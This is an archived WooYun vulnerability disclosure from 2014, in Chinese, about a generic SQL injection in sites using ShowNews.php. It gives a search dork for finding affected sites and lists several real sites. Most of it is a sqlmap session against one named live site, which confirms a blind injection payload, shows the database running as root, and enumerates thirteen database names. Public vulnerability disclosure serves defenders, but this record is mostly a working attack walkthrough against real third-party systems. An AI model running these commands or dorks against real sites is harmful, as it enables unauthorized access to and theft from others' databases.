乌云(WooYun.org)历史漏洞查询---http://wy.zone.ci/
乌云 Drops 文章在线浏览--------http://drop.zone.ci/
2014-06-24: 细节已通知厂商并且等待厂商处理中 2014-06-28: 厂商已经确认,细节仅向厂商公开 2014-07-01: 细节向第三方安全合作伙伴开放 2014-08-22: 细节向核心白帽子及相关领域专家公开 2014-09-01: 细节向普通白帽子公开 2014-09-11: 细节向实习白帽子公开 2014-09-22: 细节向公众公开
第五波通用漏洞继续研发?!!!!!
关键字:inurl:ShowNews.php
http://74.125.227.77/#newwindow=1&q=inurl:ShowNews.php
http://www.6161.com.cn/shownews.php?id=1473http://www.tpebus.com.tw/newsfile/shownews.php?newsno=476http://www.cuiyueli.com/news/shownews.php?newsid=21
然后随便找了个网站然后利用sqlmap进行get注入!!!
D:\sqlmap>sqlmap.py -u "http://www.jzdd.net/shownews.php?SHID=32255" sqlmap/0.9 - automatic SQL injection and database takeover tool http://sqlmap.sourceforge.net[*] starting at: 21:54:37[21:54:38] [INFO] using 'D:\sqlmap\output\www.jzdd.net\session' as session file[21:54:38] [INFO] testing connection to the target url[21:54:39] [INFO] testing if the url is stable, wait a few seconds[21:54:41] [WARNING] url is not stable, sqlmap will base the page comparison ona sequence matcher. If no dynamic nor injectable parameters are detected, or incase of junk results, refer to user's manual paragraph 'Page comparison' and provide a string or regular expression to match onhow do you want to proceed? [(C)ontinue/(s)tring/(r)egex/(q)uit][21:54:42] [INFO] testing if GET parameter 'SHID' is dynamic[21:54:44] [WARNING] GET parameter 'SHID' is not dynamic[21:54:44] [WARNING] heuristic test shows that GET parameter 'SHID' might not be injectable[21:54:44] [INFO] testing sql injection on GET parameter 'SHID'[21:54:44] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'[21:54:46] [INFO] GET parameter 'SHID' is 'AND boolean-based blind - WHERE or HAVING clause' injectable[21:54:46] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause'[21:54:46] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'[21:54:47] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause'[21:54:49] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'[21:54:50] [INFO] testing 'MySQL > 5.0.11 stacked queries'[21:54:50] [INFO] testing 'PostgreSQL > 8.1 stacked queries'[21:54:50] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'[21:54:50] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'[21:54:55] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'[21:54:55] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'[21:54:55] [INFO] testing 'Oracle AND time-based blind'[21:54:55] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'[21:54:59] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'[21:54:59] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMSGET parameter 'SHID' is vulnerable. Do you want to keep testing the others? [y/N] \sqlmap identified the following injection points with a total of 36 HTTP(s) requests:---Place: GETParameter: SHID Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: SHID=32255 AND 7461=7461---[21:55:03] [INFO] testing MySQL[21:55:04] [INFO] confirming MySQL[21:55:08] [INFO] the back-end DBMS is MySQLweb server operating system: Windows 2003web application technology: ASP.NET, Microsoft IIS 6.0, PHP 5.2.17back-end DBMS: MySQL >= 5.0.0[21:55:08] [INFO] Fetched data logged to text files under 'D:\sqlmap\output\www.jzdd.net'[*] shutting down at: 21:55:08D:\sqlmap>sqlmap.py -u "http://www.jzdd.net/shownews.php?SHID=32255" --dbs --current-user --current-db sqlmap/0.9 - automatic SQL injection and database takeover tool http://sqlmap.sourceforge.net[*] starting at: 21:55:25[21:55:25] [INFO] using 'D:\sqlmap\output\www.jzdd.net\session' as session file[21:55:25] [INFO] resuming injection data from session file[21:55:25] [INFO] resuming back-end DBMS 'mysql 5' from session file[21:55:25] [INFO] testing connection to the target urlsqlmap identified the following injection points with a total of 0 HTTP(s) requests:---Place: GETParameter: SHID Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: SHID=32255 AND 7461=7461---[21:55:27] [INFO] the back-end DBMS is MySQLweb server operating system: Windows 2003web application technology: ASP.NET, Microsoft IIS 6.0, PHP 5.2.17back-end DBMS: MySQL 5[21:55:27] [INFO] fetching current user[21:55:27] [INFO] retrieved: root@localhostcurrent user: 'root@localhost'[21:57:29] [INFO] fetching current database[21:57:29] [INFO] retrieved: jzddxinzhan999current database: 'jzddxinzhan999'[21:59:53] [INFO] fetching database names[21:59:53] [INFO] fetching number of databases[21:59:53] [INFO] retrieved: 13[22:00:00] [INFO] retrieved: information_schema[22:02:00] [INFO] retrieved: discuzz[22:03:01] [INFO] retrieved: duoduo[22:03:40] [INFO] retrieved: jzddcom[22:04:30] [INFO] retrieved: jzddxinzhan999[22:06:14] [INFO] retrieved: kubuluomysql[22:07:40] [INFO] retrieved: mysql[22:08:15] [INFO] retrieved: performance_schema[22:10:22] [INFO] retrieved: test[22:10:55] [INFO] retrieved: ucenter[22:11:52] [INFO] retrieved: uchome[22:12:41] [INFO] retrieved: vgou[22:13:09] [INFO] retrieved: zhaoshengavailable databases [13]:[*] discuzz[*] duoduo[*] information_schema[*] jzddcom[*] jzddxinzhan999[*] kubuluomysql[*] mysql[*] performance_schema[*] test[*] ucenter[*] uchome[*] vgou[*] zhaosheng[22:14:14] [INFO] Fetched data logged to text files under 'D:\sqlmap\output\www.jzdd.net'[*] shutting down at: 22:14:14
- -第五波了。。求各种给力
危害等级:高
漏洞Rank:12
确认时间:2014-06-28 22:26
暂无